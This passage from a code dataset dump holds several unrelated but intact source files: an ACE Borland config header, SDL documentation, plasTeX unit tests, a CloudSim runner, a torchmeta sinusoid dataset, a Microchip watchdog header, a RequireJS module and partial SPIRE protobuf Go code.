ACE_WSTRING_HAS_USHORT_SUPPORT 1\n# define ACE_HAS_DIRENT\n\n#define ACE_USES_STD_NAMESPACE_FOR_STDC_LIB 1\n\n#define ACE_NEEDS_DL_UNDERSCORE\n\n#define ACE_LACKS_TERMIOS_H\n#define ACE_LACKS_NETINET_TCP_H\n#define ACE_LACKS_REGEX_H\n#define ACE_LACKS_SYS_MSG_H\n#define ACE_LACKS_PWD_H\n#define ACE_LACKS_POLL_H\n#define ACE_LACKS_SYS_SHM_H\n#define ACE_LACKS_STRINGS_H\n#define ACE_LACKS_SEMAPHORE_H\n#define ACE_LACKS_INTTYPES_H\n#define ACE_LACKS_UCONTEXT_H\n#define ACE_LACKS_SYS_SELECT_H\n#define ACE_LACKS_SYS_TIME_H\n#define ACE_LACKS_SYS_RESOURCE_H\n#define ACE_LACKS_SYS_WAIT_H\n#define ACE_LACKS_DLFCN_H\n#define ACE_LACKS_SYS_MMAN_H\n#define ACE_LACKS_SYS_UIO_H\n#define ACE_LACKS_SYS_SOCKET_H\n#define ACE_LACKS_NETINET_IN_H\n#define ACE_LACKS_NETDB_H\n#define ACE_LACKS_NET_IF_H\n#define ACE_LACKS_SYS_IPC_H\n#define ACE_LACKS_SYS_SEM_H\n#define ACE_LACKS_SYS_IOCTL_H\n#define ACE_LACKS_STROPTS_H\n\n#undef ACE_LACKS_STRUCT_DIR\n#undef ACE_LACKS_CLOSEDIR\n#undef ACE_LACKS_OPENDIR\n#undef ACE_LACKS_READDIR\n#undef ACE_LACKS_REWINDDIR\n\n#define ACE_HAS_WOPENDIR\n#define ACE_HAS_WCLOSEDIR\n#define ACE_HAS_WREADDIR\n#define ACE_HAS_WREWINDDIR\n\n#define ACE_LACKS_STRRECVFD\n#define ACE_USES_EXPLICIT_STD_NAMESPACE\n\n#define ACE_HAS_TIME_T_LONG_MISMATCH\n\n#define ACE_EXPORT_NESTED_CLASSES 1\n#define ACE_HAS_CPLUSPLUS_HEADERS 1\n#define ACE_HAS_NONCONST_SELECT_TIMEVAL\n#define ACE_HAS_SIG_ATOMIC_T\n#define ACE_HAS_STANDARD_CPP_LIBRARY 1\n#define ACE_HAS_STDCPP_STL_INCLUDES 1\n#define ACE_HAS_STRING_CLASS 1\n#define ACE_HAS_USER_MODE_MASKS 1\n#define ACE_LACKS_ACE_IOSTREAM 1\n#define ACE_LACKS_LINEBUFFERED_STREAMBUF 1\n#define ACE_HAS_NEW_NOTHROW\n#define ACE_TEMPLATES_REQUIRE_SOURCE 1\n#define ACE_SIZEOF_LONG_DOUBLE 10\n#define ACE_UINT64_FORMAT_SPECIFIER_ASCII \"%Lu\"\n#define ACE_INT64_FORMAT_SPECIFIER_ASCII \"%Ld\"\n#define ACE_USES_STD_NAMESPACE_FOR_STDCPP_LIB 1\n#define ACE_USES_STD_NAMESPACE_FOR_ABS 1\n#define ACE_ENDTHREADEX(STATUS) ::_endthreadex ((DWORD) STATUS)\n\n#if defined(ACE_MT_SAFE) && (ACE_MT_SAFE != 0)\n// must have _MT defined to include multithreading\n// features from win32 headers\n# if !defined(__MT__)\n// *** DO NOT *** defeat this error message by defining __MT__ yourself.\n// You must link with the multi threaded libraries. Add -tWM to your\n// compiler options\n# error You must link against multi-threaded libraries when using ACE (check your project settings)\n# endif /* !_MT && !ACE_HAS_WINCE */\n#endif /* ACE_MT_SAFE && ACE_MT_SAFE != 0 */\n\n#if (__BORLANDC__ < 0x620)\n# define ACE_LACKS_ISBLANK\n# define ACE_LACKS_ISWBLANK\n# define ACE_LACKS_PRAGMA_ONCE 1\n#endif\n\n#if (__BORLANDC__ < 0x630)\n# define ACE_LACKS_ISWCTYPE\n# define ACE_LACKS_ISCTYPE\n#endif\n\n#if (__BORLANDC__ < 0x620)\n// Older Borland compilers can't handle assembly in inline methods or\n// templates (E2211). When we build for pentium optimized and we are inlining\n// then we disable inline assembly\n# if defined (ACE_HAS_PENTIUM) && defined(__ACE_INLINE__)\n# define ACE_LACKS_INLINE_ASSEMBLY\n# endif\n#endif\n\n#if (__BORLANDC__ == 0x621)\n// C++ Builder 2010 wcsncat seems broken\n# define ACE_LACKS_WCSNCAT\n#endif\n\n#define ACE_WCSDUP_EQUIVALENT ::_wcsdup\n#define ACE_STRCASECMP_EQUIVALENT ::stricmp\n#define ACE_STRNCASECMP_EQUIVALENT ::strnicmp\n#define ACE_WTOF_EQUIVALENT ::_wtof\n#define ACE_FILENO_EQUIVALENT(X) (_get_osfhandle (::_fileno (X)))\n#define ACE_HAS_ITOA 1\n\n#include /**/ \"ace/post.h\"\n#endif /* ACE_CONFIG_WIN32_BORLAND_H */\n"} +{"text": "SDL_CDCloseSDL Library DocumentationPrevNextSDL_CDCloseNameSDL_CDClose -- Closes a SDL_CD handleSynopsis#include \"SDL.h\"void SDL_CDClose(SDL_CD *cdrom);DescriptionCloses the given cdrom handle.See AlsoSDL_CDOpen,\nSDL_CDPrevHomeNextSDL_CDEjectUpSDL_CD"} +{"text": "#!/usr/bin/env python\n\nimport unittest, sys\nfrom unittest import TestCase\nfrom plasTeX.Tokenizer import *\nfrom plasTeX.TeX import *\n\nclass Numbers(TestCase):\n\n def testReadDecimal(self):\n s = TeX()\n s.input(r'-1.0')\n i = s.readDecimal()\n assert i == -1, 'expected -1, but got %s' % i\n s = TeX()\n s.input(r'-11234.0')\n i = s.readDecimal()\n assert i == -11234, 'expected -11234, but got %s' % i\n s = TeX()\n s.input(r'0.0')\n i = s.readDecimal()\n assert i == 0, 'expected 0, but got %s' % i\n\n def testReadDimen(self):\n fuzz = 1e-3\n s = TeX()\n s.input(r'3 in')\n i = s.readDimen()\n assert i.inch - 3 < fuzz, i.inch\n s = TeX()\n s.input(r'29 pc')\n i = s.readDimen()\n assert i.pc - 29 < fuzz, i.pc \n s = TeX()\n s.input(r'-.013837in')\n i = s.readDimen()\n assert i.inch - -0.013837 < fuzz, i.inch\n s = TeX()\n s.input(r'+ 42,1 dd')\n i = s.readDimen()\n assert i.dd - 42.1 < fuzz, i.dd\n s = TeX()\n s.input(r'0.mm')\n i = s.readDimen()\n assert i.mm - 0 < fuzz, i.mm\n s = TeX()\n s.input(r'123456789sp')\n i = s.readDimen()\n assert i.sp - 123456789 < fuzz, i.sp\n\n def testReadDimen2(self):\n # This is illegal\n# s = TeX()\n# s.input(r\"'.77pt\")\n# i = s.readDimen()\n# s = TeX()\n# s.input(r'\"Ccc')\n# i = s.readDimen()\n s = TeX()\n s.input(r'-,sp')\n i = s.readDimen()\n assert i.sp == 0, i.sp\n\n def testUnitConversion(self):\n fuzz = 1e-3\n s = TeX()\n s.input(r'1 pc')\n i = s.readDimen()\n assert i.pt - 12 < fuzz, i.pt\n s = TeX()\n s.input(r'1 in')\n i = s.readDimen()\n assert i.pt - 72.27 < fuzz, i.pt\n s = TeX()\n s.input(r'72 bp')\n i = s.readDimen()\n assert i.inch - 1 < fuzz, i.inch\n s = TeX()\n s.input(r'2.54 cm')\n i = s.readDimen()\n assert i.inch - 1 < fuzz, i.inch\n s = TeX()\n s.input(r'10 mm')\n i = s.readDimen()\n assert i.cm - 1 < fuzz, i.cm\n s = TeX()\n s.input(r'1157 dd')\n i = s.readDimen()\n assert i.pt - 1238 < fuzz, i.pt\n s = TeX()\n s.input(r'1 cc')\n i = s.readDimen()\n assert i.dd - 12 < fuzz, i.dd\n s = TeX()\n s.input(r'65536 sp')\n i = s.readDimen()\n assert i.pt - 1 < fuzz, i.pt\n \n def testReadGlue(self):\n s = TeX()\n s.input(r'0pt plus 1fil')\n i = s.readGlue()\n assert i.pt == 0, i.pt\n assert i.stretch.fil == 1, i.stretch.fil \n assert i.shrink is None, i.shrink\n\n s = TeX()\n s.input(r'0pt plus 1fill')\n i = s.readGlue()\n assert i.pt == 0, i.pt\n assert i.stretch.fil == 1, i.stretch.fil \n assert i.shrink is None, i.shrink\n\n s = TeX()\n s.input(r'0pt plus 1fil minus 1 fil')\n i = s.readGlue()\n assert i.pt == 0, i.pt\n assert i.stretch.fil == 1, i.stretch.fil \n assert i.shrink.fil == 1, i.shrink.fil \n\n s = TeX()\n s.input(r'0pt plus -1fil')\n i = s.readGlue()\n assert i.pt == 0, i.pt\n assert i.stretch.fil == -1, i.stretch.fil \n assert i.shrink is None, i.shrink\n\n def testReadGlue2(self):\n s = TeX()\n s.input(r'6pt plus 2pt minus 2pt')\n i = s.readGlue()\n assert i.pt == 6, i.pt\n assert i.stretch.pt == 2, i.stretch.pt\n assert i.shrink.pt == 2, i.shrink.pt\n \n t = TeX()\n t.input(r'6pt plus 2pt minus 2pt 1.2pt plus -1.fil-1.234pt\\foo')\n i = t.readGlue()\n j = t.readGlue()\n k = t.readGlue()\n\n# print i.source\n assert i.pt == 6, i.pt\n assert i.stretch.pt == 2, i.stretch.pt\n assert i.shrink.pt == 2, i.shrink.pt\n\n# print j.source\n assert j.pt == 1.2, i.pt\n assert j.stretch.fil == -1, j.stretch.fil\n assert j.shrink is None\n \n# print k.source\n assert k.pt == -1.234, k.pt\n assert k.stretch is None\n assert k.shrink is None\n\n tokens = [x for x in t.itertokens()]\n assert tokens == [EscapeSequence('foo')], tokens\n\nclass Parameters(TestCase):\n\n def testParameters(self):\n t = TeX()\n t.input(r'\\newcount\\foo\\foo=\\tolerance')\n t.parse()\n foo = t.ownerDocument.context['foo'].value\n tolerance = t.ownerDocument.context['tolerance'].value\n assert foo == tolerance, '\"%s\" != \"%s\"' % (foo, tolerance)\n\n t = TeX()\n t.input(r'\\newcount\\foo\\foo=7\\tolerance')\n t.parse()\n foo = t.ownerDocument.context['foo'].value\n tolerance = t.ownerDocument.context['tolerance'].value\n assert foo == (7*tolerance), '\"%s\" != \"%s\"' % (foo, 7*tolerance)\n\n t = TeX()\n t.input(r'\\newcount\\foo\\foo=-3\\tolerance')\n t.parse()\n foo = t.ownerDocument.context['foo'].value\n tolerance = t.ownerDocument.context['tolerance'].value\n assert foo == (-3*tolerance), '\"%s\" != \"%s\"' % (foo, -3*tolerance)\n\n def testDimenParameters(self):\n t = TeX()\n t.input(r'\\newdimen\\foo\\foo=\\hsize')\n t.parse()\n foo = t.ownerDocument.context['foo'].value\n hsize = t.ownerDocument.context['hsize'].value\n assert foo == hsize, '\"%s\" != \"%s\"' % (foo, hsize)\n \n t = TeX()\n t.input(r'\\newdimen\\foo\\foo=7.6\\hsize')\n t.parse()\n foo = t.ownerDocument.context['foo'].value\n hsize = t.ownerDocument.context['hsize'].value\n assert foo == (7.6*hsize), '\"%s\" != \"%s\"' % (foo, 7.6*hsize)\n \n t = TeX()\n t.input(r'\\newdimen\\foo\\foo=-4\\hsize')\n t.parse()\n foo = t.ownerDocument.context['foo'].value\n hsize = t.ownerDocument.context['hsize'].value\n assert foo == (-4*hsize), '\"%s\" != \"%s\"' % (foo, (-4*hsize))\n \n def testGlueParameters(self):\n t = TeX()\n t.input(r'\\newskip\\foo\\foo=\\baselineskip')\n t.parse()\n foo = t.ownerDocument.context['foo'].value\n baselineskip = t.ownerDocument.context['baselineskip'].value\n assert foo == baselineskip, '\"%s\" != \"%s\"' % (foo, baselineskip)\n \n t = TeX()\n t.input(r'\\newskip\\foo\\foo=7.6\\baselineskip')\n t.parse()\n foo = t.ownerDocument.context['foo'].value\n baselineskip = t.ownerDocument.context['baselineskip'].value\n assert foo == (7.6*baselineskip), '\"%s\" != \"%s\"' % (foo, 7.6*baselineskip)\n \n t = TeX()\n t.input(r'\\newskip\\foo\\foo=-4\\baselineskip')\n t.parse()\n foo = t.ownerDocument.context['foo'].value\n baselineskip = t.ownerDocument.context['baselineskip'].value\n assert foo == (-4*baselineskip), '\"%s\" != \"%s\"' % (foo, (-4*baselineskip))\n\n def testRomanNumeral(self):\n t = TeX()\n t.input(r'\\romannumeral5')\n p = t.parse()\n assert ''.join(p) == 'v'\n\n def testNumberSection(self):\n t = TeX()\n t.input(r'''\n\\documentclass{article}\n\\begin{document}\n\\section{}\n\\section{}\n\\number\\thesection\n\\end{document}\n''')\n assert t.parse().textContent.strip() == '2'\n\n def testRomanNumeralSection(self):\n t = TeX()\n t.input(r'''\n\\documentclass{article}\n\\begin{document}\n\\section{}\n\\section{}\n\\romannumeral\\thesection\n\\end{document}\n''')\n assert t.parse().textContent.strip() == 'ii'\n\nif __name__ == '__main__':\n unittest.main()\n"} +{"text": "package org.cloudbus.cloudsim.examples.power.random;\n\nimport java.util.Calendar;\n\nimport org.cloudbus.cloudsim.Log;\nimport org.cloudbus.cloudsim.core.CloudSim;\nimport org.cloudbus.cloudsim.examples.power.Helper;\nimport org.cloudbus.cloudsim.examples.power.RunnerAbstract;\n\n/**\n * The example runner for the random workload.\n * \n * If you are using any algorithms, policies or workload included in the power package please cite\n * the following paper:\n * \n * Anton Beloglazov, and Rajkumar Buyya, \"Optimal Online Deterministic Algorithms and Adaptive\n * Heuristics for Energy and Performance Efficient Dynamic Consolidation of Virtual Machines in\n * Cloud Data Centers\", Concurrency and Computation: Practice and Experience (CCPE), Volume 24,\n * Issue 13, Pages: 1397-1420, John Wiley & Sons, Ltd, New York, USA, 2012\n * \n * @author Anton Beloglazov\n * @since Jan 5, 2012\n */\npublic class RandomRunner extends RunnerAbstract {\n\n\t/**\n\t * @param enableOutput\n\t * @param outputToFile\n\t * @param inputFolder\n\t * @param outputFolder\n\t * @param workload\n\t * @param vmAllocationPolicy\n\t * @param vmSelectionPolicy\n\t * @param parameter\n\t */\n\tpublic RandomRunner(\n\t\t\tboolean enableOutput,\n\t\t\tboolean outputToFile,\n\t\t\tString inputFolder,\n\t\t\tString outputFolder,\n\t\t\tString workload,\n\t\t\tString vmAllocationPolicy,\n\t\t\tString vmSelectionPolicy,\n\t\t\tString parameter) {\n\t\tsuper(\n\t\t\t\tenableOutput,\n\t\t\t\toutputToFile,\n\t\t\t\tinputFolder,\n\t\t\t\toutputFolder,\n\t\t\t\tworkload,\n\t\t\t\tvmAllocationPolicy,\n\t\t\t\tvmSelectionPolicy,\n\t\t\t\tparameter);\n\t}\n\n\t/*\n\t * (non-Javadoc)\n\t * \n\t * @see org.cloudbus.cloudsim.examples.power.RunnerAbstract#init(java.lang.String)\n\t */\n\t@Override\n\tprotected void init(String inputFolder) {\n\t\ttry {\n\t\t\tCloudSim.init(1, Calendar.getInstance(), false);\n\n\t\t\tbroker = Helper.createBroker();\n\t\t\tint brokerId = broker.getId();\n\n\t\t\tcloudletList = RandomHelper.createCloudletList(brokerId, RandomConstants.NUMBER_OF_VMS);\n\t\t\tvmList = Helper.createVmList(brokerId, cloudletList.size());\n\t\t\thostList = Helper.createHostList(RandomConstants.NUMBER_OF_HOSTS);\n\t\t} catch (Exception e) {\n\t\t\te.printStackTrace();\n\t\t\tLog.printLine(\"The simulation has been terminated due to an unexpected error\");\n\t\t\tSystem.exit(0);\n\t\t}\n\t}\n\n}\n"} +{"text": "import numpy as np\n\nfrom torchmeta.utils.data import Task, MetaDataset\n\n\nclass Sinusoid(MetaDataset):\n \"\"\"\n Simple regression task, based on sinusoids, as introduced in [1].\n\n Parameters\n ----------\n num_samples_per_task : int\n Number of examples per task.\n\n num_tasks : int (default: 1,000,000)\n Overall number of tasks to sample.\n\n noise_std : float, optional\n Amount of noise to include in the targets for each task. If `None`, then\n nos noise is included, and the target is a sine function of the input.\n\n transform : callable, optional\n A function/transform that takes a numpy array of size (1,) and returns a\n transformed version of the input.\n\n target_transform : callable, optional\n A function/transform that takes a numpy array of size (1,) and returns a\n transformed version of the target.\n\n dataset_transform : callable, optional\n A function/transform that takes a dataset (ie. a task), and returns a \n transformed version of it. E.g. `torchmeta.transforms.ClassSplitter()`.\n\n Notes\n -----\n The tasks are created randomly as random sinusoid function. The amplitude\n varies within [0.1, 5.0], the phase within [0, pi], and the inputs are\n sampled uniformly in [-5.0, 5.0]. Due to the way PyTorch handles datasets,\n the number of tasks to be sampled needs to be fixed ahead of time (with\n `num_tasks`). This will typically be equal to `meta_batch_size * num_batches`.\n\n References\n ----------\n .. [1] Finn C., Abbeel P., and Levine, S. (2017). Model-Agnostic Meta-Learning\n for Fast Adaptation of Deep Networks. International Conference on\n Machine Learning (ICML) (https://arxiv.org/abs/1703.03400)\n \"\"\"\n def __init__(self, num_samples_per_task, num_tasks=1000000,\n noise_std=None, transform=None, target_transform=None,\n dataset_transform=None):\n super(Sinusoid, self).__init__(meta_split='train',\n target_transform=target_transform, dataset_transform=dataset_transform)\n self.num_samples_per_task = num_samples_per_task\n self.num_tasks = num_tasks\n self.noise_std = noise_std\n self.transform = transform\n\n self._input_range = np.array([-5.0, 5.0])\n self._amplitude_range = np.array([0.1, 5.0])\n self._phase_range = np.array([0, np.pi])\n\n self._amplitudes = None\n self._phases = None\n\n @property\n def amplitudes(self):\n if self._amplitudes is None:\n self._amplitudes = self.np_random.uniform(self._amplitude_range[0],\n self._amplitude_range[1], size=self.num_tasks)\n return self._amplitudes\n\n @property\n def phases(self):\n if self._phases is None:\n self._phases = self.np_random.uniform(self._phase_range[0],\n self._phase_range[1], size=self.num_tasks)\n return self._phases\n\n def __len__(self):\n return self.num_tasks\n\n def __getitem__(self, index):\n amplitude, phase = self.amplitudes[index], self.phases[index]\n task = SinusoidTask(index, amplitude, phase, self._input_range,\n self.noise_std, self.num_samples_per_task, self.transform,\n self.target_transform, np_random=self.np_random)\n\n if self.dataset_transform is not None:\n task = self.dataset_transform(task)\n\n return task\n\n\nclass SinusoidTask(Task):\n def __init__(self, index, amplitude, phase, input_range, noise_std,\n num_samples, transform=None, target_transform=None,\n np_random=None):\n super(SinusoidTask, self).__init__(index, None) # Regression task\n self.amplitude = amplitude\n self.phase = phase\n self.input_range = input_range\n self.num_samples = num_samples\n self.noise_std = noise_std\n\n self.transform = transform\n self.target_transform = target_transform\n\n if np_random is None:\n np_random = np.random.RandomState(None)\n\n self._inputs = np_random.uniform(input_range[0], input_range[1],\n size=(num_samples, 1))\n self._targets = amplitude * np.sin(self._inputs - phase)\n if (noise_std is not None) and (noise_std > 0.):\n self._targets += noise_std * np_random.randn(num_samples, 1)\n\n def __len__(self):\n return self.num_samples\n\n def __getitem__(self, index):\n input, target = self._inputs[index], self._targets[index]\n\n if self.transform is not None:\n input = self.transform(input)\n\n if self.target_transform is not None:\n target = self.target_transform(target)\n\n return (input, target)\n"} +{"text": "/**\n * \\file\n *\n * Copyright (c) 2012-2018 Microchip Technology Inc. and its subsidiaries.\n *\n * \\asf_license_start\n *\n * \\page License\n *\n * Subject to your compliance with these terms, you may use Microchip\n * software and any derivatives exclusively with Microchip products.\n * It is your responsibility to comply with third party license terms applicable\n * to your use of third party software (including open source software) that\n * may accompany Microchip software.\n *\n * THIS SOFTWARE IS SUPPLIED BY MICROCHIP \"AS IS\". NO WARRANTIES,\n * WHETHER EXPRESS, IMPLIED OR STATUTORY, APPLY TO THIS SOFTWARE,\n * INCLUDING ANY IMPLIED WARRANTIES OF NON-INFRINGEMENT, MERCHANTABILITY,\n * AND FITNESS FOR A PARTICULAR PURPOSE. IN NO EVENT WILL MICROCHIP BE\n * LIABLE FOR ANY INDIRECT, SPECIAL, PUNITIVE, INCIDENTAL OR CONSEQUENTIAL\n * LOSS, DAMAGE, COST OR EXPENSE OF ANY KIND WHATSOEVER RELATED TO THE\n * SOFTWARE, HOWEVER CAUSED, EVEN IF MICROCHIP HAS BEEN ADVISED OF THE\n * POSSIBILITY OR THE DAMAGES ARE FORESEEABLE. TO THE FULLEST EXTENT\n * ALLOWED BY LAW, MICROCHIP'S TOTAL LIABILITY ON ALL CLAIMS IN ANY WAY\n * RELATED TO THIS SOFTWARE WILL NOT EXCEED THE AMOUNT OF FEES, IF ANY,\n * THAT YOU HAVE PAID DIRECTLY TO MICROCHIP FOR THIS SOFTWARE.\n *\n * \\asf_license_stop\n *\n */\n/*\n * Support and FAQ: visit Microchip Support\n */\n\n#ifndef _SAM4S_WDT_COMPONENT_\n#define _SAM4S_WDT_COMPONENT_\n\n/* ============================================================================= */\n/** SOFTWARE API DEFINITION FOR Watchdog Timer */\n/* ============================================================================= */\n/** \\addtogroup SAM4S_WDT Watchdog Timer */\n/*@{*/\n\n#if !(defined(__ASSEMBLY__) || defined(__IAR_SYSTEMS_ASM__))\n/** \\brief Wdt hardware registers */\ntypedef struct {\n __O uint32_t WDT_CR; /**< \\brief (Wdt Offset: 0x00) Control Register */\n __IO uint32_t WDT_MR; /**< \\brief (Wdt Offset: 0x04) Mode Register */\n __I uint32_t WDT_SR; /**< \\brief (Wdt Offset: 0x08) Status Register */\n} Wdt;\n#endif /* !(defined(__ASSEMBLY__) || defined(__IAR_SYSTEMS_ASM__)) */\n/* -------- WDT_CR : (WDT Offset: 0x00) Control Register -------- */\n#define WDT_CR_WDRSTT (0x1u << 0) /**< \\brief (WDT_CR) Watchdog Restart */\n#define WDT_CR_KEY_Pos 24\n#define WDT_CR_KEY_Msk (0xffu << WDT_CR_KEY_Pos) /**< \\brief (WDT_CR) Password. */\n#define WDT_CR_KEY_PASSWD (0xA5u << 24) /**< \\brief (WDT_CR) Writing any other value in this field aborts the write operation. */\n/* -------- WDT_MR : (WDT Offset: 0x04) Mode Register -------- */\n#define WDT_MR_WDV_Pos 0\n#define WDT_MR_WDV_Msk (0xfffu << WDT_MR_WDV_Pos) /**< \\brief (WDT_MR) Watchdog Counter Value */\n#define WDT_MR_WDV(value) ((WDT_MR_WDV_Msk & ((value) << WDT_MR_WDV_Pos)))\n#define WDT_MR_WDFIEN (0x1u << 12) /**< \\brief (WDT_MR) Watchdog Fault Interrupt Enable */\n#define WDT_MR_WDRSTEN (0x1u << 13) /**< \\brief (WDT_MR) Watchdog Reset Enable */\n#define WDT_MR_WDRPROC (0x1u << 14) /**< \\brief (WDT_MR) Watchdog Reset Processor */\n#define WDT_MR_WDDIS (0x1u << 15) /**< \\brief (WDT_MR) Watchdog Disable */\n#define WDT_MR_WDD_Pos 16\n#define WDT_MR_WDD_Msk (0xfffu << WDT_MR_WDD_Pos) /**< \\brief (WDT_MR) Watchdog Delta Value */\n#define WDT_MR_WDD(value) ((WDT_MR_WDD_Msk & ((value) << WDT_MR_WDD_Pos)))\n#define WDT_MR_WDDBGHLT (0x1u << 28) /**< \\brief (WDT_MR) Watchdog Debug Halt */\n#define WDT_MR_WDIDLEHLT (0x1u << 29) /**< \\brief (WDT_MR) Watchdog Idle Halt */\n/* -------- WDT_SR : (WDT Offset: 0x08) Status Register -------- */\n#define WDT_SR_WDUNF (0x1u << 0) /**< \\brief (WDT_SR) Watchdog Underflow */\n#define WDT_SR_WDERR (0x1u << 1) /**< \\brief (WDT_SR) Watchdog Error */\n\n/*@}*/\n\n\n#endif /* _SAM4S_WDT_COMPONENT_ */\n"} +{"text": "define([\n\t\"./class2type\"\n], function( class2type ) {\n\treturn class2type.hasOwnProperty;\n});\n"} +{"text": "// Code generated by protoc-gen-go. DO NOT EDIT.\n// source: spire/common/common.proto\n\npackage common\n\nimport (\n\tfmt \"fmt\"\n\tproto \"github.com/golang/protobuf/proto\"\n\tmath \"math\"\n)\n\n// Reference imports to suppress errors if they are not otherwise used.\nvar _ = proto.Marshal\nvar _ = fmt.Errorf\nvar _ = math.Inf\n\n// This is a compile-time assertion to ensure that this generated file\n// is compatible with the proto package it is being compiled against.\n// A compilation error at this line likely means your copy of the\n// proto package needs to be updated.\nconst _ = proto.ProtoPackageIsVersion3 // please upgrade the proto package\n\n//* Represents an empty message\ntype Empty struct {\n\tXXX_NoUnkeyedLiteral struct{} `json:\"-\"`\n\tXXX_unrecognized []byte `json:\"-\"`\n\tXXX_sizecache int32 `json:\"-\"`\n}\n\nfunc (m *Empty) Reset() { *m = Empty{} }\nfunc (m *Empty) String() string { return proto.CompactTextString(m) }\nfunc (*Empty) ProtoMessage() {}\nfunc (*Empty) Descriptor() ([]byte, []int) {\n\treturn fileDescriptor_c11412a53cc81147, []int{0}\n}\n\nfunc (m *Empty) XXX_Unmarshal(b []byte) error {\n\treturn xxx_messageInfo_Empty.Unmarshal(m, b)\n}\nfunc (m *Empty) XXX_Marshal(b []byte, deterministic bool) ([]byte, error) {\n\treturn xxx_messageInfo_Empty.Marshal(b, m, deterministic)\n}\nfunc (m *Empty) XXX_Merge(src proto.Message) {\n\txxx_messageInfo_Empty.Merge(m, src)\n}\nfunc (m *Empty) XXX_Size() int {\n\treturn xxx_messageInfo_Empty.Size(m)\n}\nfunc (m *Empty) XXX_DiscardUnknown() {\n\txxx_messageInfo_Empty.DiscardUnknown(m)\n}\n\nvar xxx_messageInfo_Empty proto.InternalMessageInfo\n\n//* A type which contains attestation data for specific platform.\ntype AttestationData struct {\n\t//* Type of attestation to perform.\n\tType string `protobuf:\"bytes,1,opt,name=type,proto3\" json:\"type,omitempty\"`\n\t//* The attestation data.\n\tData []byte `protobuf:\"bytes,2,opt,name=data,proto3\" json:\"data,omitempty\"`\n\tXXX_NoUnkeyedLiteral struct{} `json:\"-\"`\n\tXXX_unrecognized []byte `json:\"-\"`\n\tXXX_sizecache int32 `json:\"-\"`\n}\n\nfunc (m *AttestationData) Reset() { *m = AttestationData{} }\nfunc (m *AttestationData) String() string { return proto.CompactTextString(m) }\nfunc (*AttestationData) ProtoMessage() {}\nfunc (*AttestationData) Descriptor() ([]byte, []int) {\n\treturn fileDescriptor_c11412a53cc81147, []int{1}\n}\n\nfunc (m *AttestationData) XXX_Unmarshal(b []byte) error {\n\treturn xxx_messageInfo_AttestationData.Unmarshal(m, b)\n}\nfunc (m *AttestationData) XXX_Marshal(b []byte, deterministic bool) ([]byte, error) {\n\treturn xxx_messageInfo_AttestationData.Marshal(b, m, deterministic)\n}\nfunc (m *AttestationData) XXX_Merge(src proto.Message) {\n\txxx_messageInfo_AttestationData.Merge(m, src)\n}\nfunc (m *AttestationData) XXX_Size() int {\n\treturn xxx_messageInfo_AttestationData.Size(m)\n}\nfunc (m *AttestationData) XXX_DiscardUnknown() {\n\txxx_messageInfo_AttestationData.DiscardUnknown(m)\n}\n\nvar xxx_messageInfo_AttestationData proto.InternalMessageInfo\n\nfunc (m *AttestationData) GetType() string {\n\tif m != nil {\n\t\treturn m.Type\n\t}\n\treturn \"\"\n}\n\nfunc (m *AttestationData) GetData() []byte {\n\tif m != nil {\n\t\treturn m.Data\n\t}\n\treturn nil\n}\n\n//* A type which describes the conditions under which a registration\n//entry is matched.\ntype Selector struct {\n\t//* A selector type represents the type of attestation used in attesting\n\t//the entity (Eg: AWS, K8).\n\tType string `protobuf:\"bytes,1,opt,name=type,proto3\" json:\"type,omitempty\"`\n\t//* The value to be attested.\n\tValue string `protobuf:\"bytes,2,opt,name=value,proto3\" json:\"value,omitempty\"`\n\tXXX_NoUnkeyedLiteral struct{} `json:\"-\"`\n\tXXX_unrecognized []byte `json:\"-\"`\n\tXXX_sizecache int32 `json:\"-\"`\n}\n\nfunc (m *Selector) Reset() { *m = Selector{} }\nfunc (m *Selector) String() string { return proto.CompactTextString(m) }\nfunc (*Selector) ProtoMessage() {}\nfunc (*Selector) Descriptor() ([]byte, []int) {\n\treturn fileDescriptor_c11412a53cc81147, []int{2}\n}\n\nfunc (m *Selector) XXX_Unmarshal(b []byte) error {\n\treturn xxx_messageInfo_Selector.Unmarshal(m, b)\n}\nfunc (m *Selector) XXX_Marshal(b []byte, deterministic bool) ([]byte, error) {\n\treturn xxx_messageInfo_Selector.Marshal(b, m, deterministic)\n}\nfunc (m *Selector) XXX_Merge(src proto.Message) {\n\txxx_messageInfo_Selector.Merge(m, src)\n}\nfunc (m *Selector) XXX_Size() int {\n\treturn xxx_messageInfo_Selector.Size(m)\n}\nfunc (m *Selector) XXX_DiscardUnknown() {\n\txxx_messageInfo_Selector.DiscardUnknown(m)\n}\n\nvar xxx_messageInfo_Selector proto.InternalMessageInfo\n\nfunc (m *Selector) GetType() string {\n\tif m != nil {\n\t\treturn m.Type\n\t}\n\treturn \"\"\n}\n\nfunc (m *Selector) GetValue() string {\n\tif m != nil {\n\t\treturn m.Value\n\t}\n\treturn \"\"\n}\n\n//* Represents a type with a list of Selector.\ntype Selectors struct {\n\t//* A list of Selector.\n\tEntries []*Selector `protobuf:\"bytes,1,rep,name=entries,proto3\" json:\"entries,omitempty\"`\n\tXXX_NoUnkeyedLiteral struct{} `json:\"-\"`\n\tXXX_unrecognized []byte `json:\"-\"`\n\tXXX_sizecache int32 `json:\"-\"`\n}\n\nfunc (m *Selectors) Reset() { *m = Selectors{} }\nfunc (m *Selectors) String() string { return proto.CompactTextString(m) }\nfunc (*Selectors) ProtoMessage() {}\nfunc (*Selectors) Descriptor() ([]byte, []int) {\n\treturn fileDescriptor_c11412a53cc81147, []int{3}\n}\n\nfunc (m *Selectors) XXX_Unmarshal(b []byte) error {\n\treturn xxx_messageInfo_Selectors.Unmarshal(m, b)\n}\nfunc (m *Selectors) XXX_Marshal(b []byte, deterministic bool) ([]byte, error) {\n\treturn xxx_messageInfo_Selectors.Marshal(b, m, deterministic)\n}\nfunc (m *Selectors) XXX_Merge(src proto.Message) {\n\txxx_messageInfo_Selectors.Merge(m, src)\n}\nfunc (m *Selectors) XXX_Size() int {\n\treturn xxx_messageInfo_Selectors.Size(m)\n}\nfunc (m *Selectors) XXX_DiscardUnknown() {\n\txxx_messageInfo_Selectors.DiscardUnknown(m)\n}\n\nvar xxx_messageInfo_Selectors proto.InternalMessageInfo\n\nfunc (m *Selectors) GetEntries() []*Selector {\n\tif m != nil {\n\t\treturn m.Entries\n\t}\n\treturn nil\n}\n\n// Represents an attested SPIRE agent\ntype AttestedNode struct {\n\t// Node SPIFFE ID\n\tSpiffeId string `protobuf:\"bytes,1,opt,name=spiffe_id,json=spiffeId,proto3\" json:\"spiffe_id,omitempty\"`\n\t// Attestation data type\n\tAttestationDataType string 